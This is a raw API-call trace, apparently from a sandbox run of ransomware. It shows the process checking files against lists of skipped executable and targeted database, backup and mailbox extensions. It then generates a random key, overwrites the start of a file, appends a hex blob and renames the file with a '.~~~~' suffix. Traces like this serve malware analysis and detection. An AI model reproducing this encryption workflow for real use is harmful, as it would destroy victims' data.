	[0077.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".ost") returned 0x0
	[0077.928] lstrlenW (lpString=".txt") returned 4
	[0077.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".txt") returned 0x0
	[0077.943] lstrlenW (lpString=".mdt") returned 4
	[0077.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".mdt") returned 0x0
	[0077.943] lstrlenW (lpString=".BDB") returned 4
	[0077.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".BDB") returned 0x0
	[0077.943] lstrlenW (lpString=".eql") returned 4
	[0077.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".eql") returned 0x0
	[0077.944] lstrlenW (lpString=".DBF") returned 4
	[0077.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".DBF") returned 0x0
	[0077.944] lstrlenW (lpString=".EQL") returned 4
	[0077.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".EQL") returned 0x0
	[0077.944] lstrlenW (lpString=".FDB") returned 4
	[0077.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".FDB") returned 0x0
	[0077.944] lstrlenW (lpString=".EDB") returned 4
	[0077.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".EDB") returned 0x0
	[0077.944] lstrlenW (lpString=".DACPAC") returned 7
	[0077.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".DACPAC") returned 0x0
	[0077.944] lstrlenW (lpString=".VHD") returned 4
	[0077.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".VHD") returned 0x0
	[0077.944] lstrlenW (lpString=".DBV") returned 4
	[0077.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".DBV") returned 0x0
	[0077.944] lstrlenW (lpString=".dacpac") returned 7
	[0077.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".dacpac") returned 0x0
	[0077.944] lstrlenW (lpString=".sdf") returned 4
	[0077.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".sdf") returned 0x0
	[0077.944] lstrlenW (lpString=".accdb") returned 6
	[0077.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".accdb") returned 0x0
	[0077.944] lstrlenW (lpString=".DBX") returned 4
	[0077.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".DBX") returned 0x0
	[0077.944] lstrlenW (lpString=".MDT") returned 4
	[0077.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".MDT") returned 0x0
	[0077.945] lstrlenW (lpString=".SQB") returned 4
	[0077.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".SQB") returned 0x0
	[0077.945] lstrlenW (lpString=".vhd") returned 4
	[0077.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".vhd") returned 0x0
	[0077.945] lstrlenW (lpString=".bac") returned 4
	[0077.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".bac") returned 0x0
	[0077.945] lstrlenW (lpString=".mdf") returned 4
	[0077.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".mdf") returned 0x0
	[0077.945] lstrlenW (lpString=".BAK") returned 4
	[0077.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".BAK") returned 0x0
	[0077.945] lstrlenW (lpString=".BAC") returned 4
	[0077.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".BAC") returned 0x0
	[0077.945] lstrlenW (lpString=".dbs") returned 4
	[0077.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".dbs") returned 0x0
	[0077.945] lstrlenW (lpString=".vhdx") returned 5
	[0077.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".vhdx") returned 0x0
	[0077.945] lstrlenW (lpString=".NDF") returned 4
	[0077.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".NDF") returned 0x0
	[0077.945] lstrlenW (lpString=".dat") returned 4
	[0077.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".dat") returned 0x0
	[0077.945] lstrlenW (lpString=".DBS") returned 4
	[0077.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".DBS") returned 0x0
	[0077.945] lstrlenW (lpString=".CKP") returned 4
	[0077.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".CKP") returned 0x0
	[0077.945] lstrlenW (lpString=".edb") returned 4
	[0077.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".edb") returned 0x0
	[0077.945] lstrlenW (lpString=".PST") returned 4
	[0077.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".PST") returned 0x0
	[0077.946] lstrlenW (lpString=".dbf") returned 4
	[0077.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".dbf") returned 0x0
	[0077.946] lstrlenW (lpString=".SQL") returned 4
	[0077.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".SQL") returned 0x0
	[0077.946] lstrlenW (lpString=".pst") returned 4
	[0077.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".pst") returned 0x0
	[0077.946] lstrlenW (lpString=".dbv") returned 4
	[0077.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".dbv") returned 0x0
	[0077.946] lstrlenW (lpString=".SDF") returned 4
	[0077.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".SDF") returned 0x0
	[0077.946] lstrlenW (lpString=".dtxs") returned 5
	[0077.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".dtxs") returned 0x0
	[0077.946] lstrlenW (lpString=".db3") returned 4
	[0077.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".db3") returned 0x0
	[0077.946] lstrlenW (lpString=".OST") returned 4
	[0077.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".OST") returned 0x0
	[0077.946] lstrlenW (lpString=".dbx") returned 4
	[0077.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".dbx") returned 0x0
	[0077.946] lstrlenW (lpString=".DB3") returned 4
	[0077.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".DB3") returned 0x0
	[0077.946] lstrlenW (lpString=".DAT") returned 4
	[0077.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".DAT") returned 0x0
	[0077.946] lstrlenW (lpString=".VHDX") returned 5
	[0077.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".VHDX") returned 0x0
	[0077.946] lstrlenW (lpString=".ndf") returned 4
	[0077.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".ndf") returned 0x0
	[0077.947] lstrlenW (lpString=".DB") returned 3
	[0077.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".DB") returned 0x0
	[0077.947] lstrlenW (lpString=".sql") returned 4
	[0077.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".sql") returned 0x0
	[0077.947] lstrlenW (lpString=".MYD") returned 4
	[0077.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".MYD") returned 0x0
	[0077.947] lstrlenW (lpString=".DBT") returned 4
	[0077.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".DBT") returned 0x0
	[0077.947] lstrlenW (lpString=".ACCDB") returned 6
	[0077.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".ACCDB") returned 0x0
	[0077.947] lstrlenW (lpString=".fdb") returned 4
	[0077.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".fdb") returned 0x0
	[0077.947] lstrlenW (lpString=".bak") returned 4
	[0077.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".bak") returned 0x0
	[0077.947] lstrlenW (lpString=".myd") returned 4
	[0077.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".myd") returned 0x0
	[0077.947] lstrlenW (lpString=".DTXS") returned 5
	[0077.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".DTXS") returned 0x0
	[0077.947] lstrlenW (lpString=".ckp") returned 4
	[0077.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".ckp") returned 0x0
	[0077.947] lstrlenW (lpString=".dbt") returned 4
	[0077.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".dbt") returned 0x0
	[0077.947] lstrlenW (lpString=".db") returned 3
	[0077.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".db") returned 0x0
	[0077.947] lstrlenW (lpString=".TXT") returned 4
	[0077.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".TXT") returned 0x0
	[0077.947] lstrlenW (lpString=".MDF") returned 4
	[0077.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".MDF") returned 0x0
	[0077.948] lstrlenW (lpString=".bdb") returned 4
	[0077.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".bdb") returned 0x0
	[0077.948] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0077.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.948] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0077.949] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.949] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0077.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0077.950] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19793968629) returned 1
	[0077.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x985cbab0, dwHighDateTime=0x1d60e1e)) 
	[0077.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0077.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0077.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0077.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a97d8
	[0077.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a97d8 | out: hHeap=0x300000) returned 1
	[0077.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0077.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a81d0
	[0077.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.950] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0077.950] GetLastError () returned 0x0
	[0077.951] GetLastError () returned 0x0
	[0077.951] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0077.951] GetLastError () returned 0x0
	[0077.951] GetLastError () returned 0x0
	[0077.952] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.956] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.956] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0077.958] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.958] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.960] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.960] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.960] CloseHandle (hObject=0x120) returned 1
	[0077.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.960] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.~~~~")) returned 1
	[0077.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0077.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0077.961] GetLastError () returned 0x0
	[0077.961] RtlWakeConditionVariable () returned 0x365f70
	[0077.961] GetCurrentThreadId () returned 0x9cc
	[0077.962] GetCurrentThreadId () returned 0x9cc
	[0077.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8690 | out: hHeap=0x300000) returned 1
	[0077.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9810 | out: hHeap=0x300000) returned 1
	[0077.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8690
	[0077.962] lstrlenW (lpString=".scr") returned 4
	[0077.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".scr") returned 0x0
	[0077.962] lstrlenW (lpString=".cmd") returned 4
	[0077.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".cmd") returned 0x0
	[0077.962] lstrlenW (lpString=".dll") returned 4
	[0077.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".dll") returned 0x0
	[0077.962] lstrlenW (lpString=".bat") returned 4
	[0077.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".bat") returned 0x0
	[0077.962] lstrlenW (lpString=".cpl") returned 4
	[0077.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".cpl") returned 0x0
	[0077.962] lstrlenW (lpString=".sys") returned 4
	[0077.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".sys") returned 0x0
	[0077.962] lstrlenW (lpString=".msc") returned 4
	[0077.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".msc") returned 0x0
	[0077.962] lstrlenW (lpString=".com") returned 4
	[0077.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".com") returned 0x0
	[0077.962] lstrlenW (lpString=".lnk") returned 4
	[0077.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".lnk") returned 0x0
	[0077.963] lstrlenW (lpString=".msp") returned 4
	[0077.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".msp") returned 0x0
	[0077.963] lstrlenW (lpString=".pif") returned 4
	[0077.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".pif") returned 0x0
	[0077.963] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0077.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0077.963] lstrlenW (lpString=".sqb") returned 4
	[0077.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".sqb") returned 0x0
	[0077.963] lstrlenW (lpString=".ost") returned 4
	[0077.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".ost") returned 0x0
	[0077.963] lstrlenW (lpString=".txt") returned 4
	[0077.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".txt") returned 0x0
	[0077.964] lstrlenW (lpString=".mdt") returned 4
	[0077.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".mdt") returned 0x0
	[0077.964] lstrlenW (lpString=".BDB") returned 4
	[0077.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".BDB") returned 0x0
	[0077.964] lstrlenW (lpString=".eql") returned 4
	[0077.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".eql") returned 0x0
	[0077.964] lstrlenW (lpString=".DBF") returned 4
	[0077.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".DBF") returned 0x0
	[0077.964] lstrlenW (lpString=".EQL") returned 4
	[0077.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".EQL") returned 0x0
	[0077.964] lstrlenW (lpString=".FDB") returned 4
	[0077.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".FDB") returned 0x0
	[0077.964] lstrlenW (lpString=".EDB") returned 4
	[0077.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".EDB") returned 0x0
	[0077.964] lstrlenW (lpString=".DACPAC") returned 7
	[0077.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".DACPAC") returned 0x0
	[0077.964] lstrlenW (lpString=".VHD") returned 4
	[0077.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".VHD") returned 0x0
	[0077.964] lstrlenW (lpString=".DBV") returned 4
	[0077.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".DBV") returned 0x0
	[0077.965] lstrlenW (lpString=".dacpac") returned 7
	[0077.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".dacpac") returned 0x0
	[0077.965] lstrlenW (lpString=".sdf") returned 4
	[0077.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".sdf") returned 0x0
	[0077.965] lstrlenW (lpString=".accdb") returned 6
	[0077.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".accdb") returned 0x0
	[0077.965] lstrlenW (lpString=".DBX") returned 4
	[0077.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".DBX") returned 0x0
	[0077.965] lstrlenW (lpString=".MDT") returned 4
	[0077.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".MDT") returned 0x0
	[0077.965] lstrlenW (lpString=".SQB") returned 4
	[0077.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".SQB") returned 0x0
	[0077.965] lstrlenW (lpString=".vhd") returned 4
	[0077.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".vhd") returned 0x0
	[0077.965] lstrlenW (lpString=".bac") returned 4
	[0077.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".bac") returned 0x0
	[0077.965] lstrlenW (lpString=".mdf") returned 4
	[0077.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpSrch=".mdf") returned 0x0
	[0077.965] lstrlenW (lpString=".BAK") returned 4
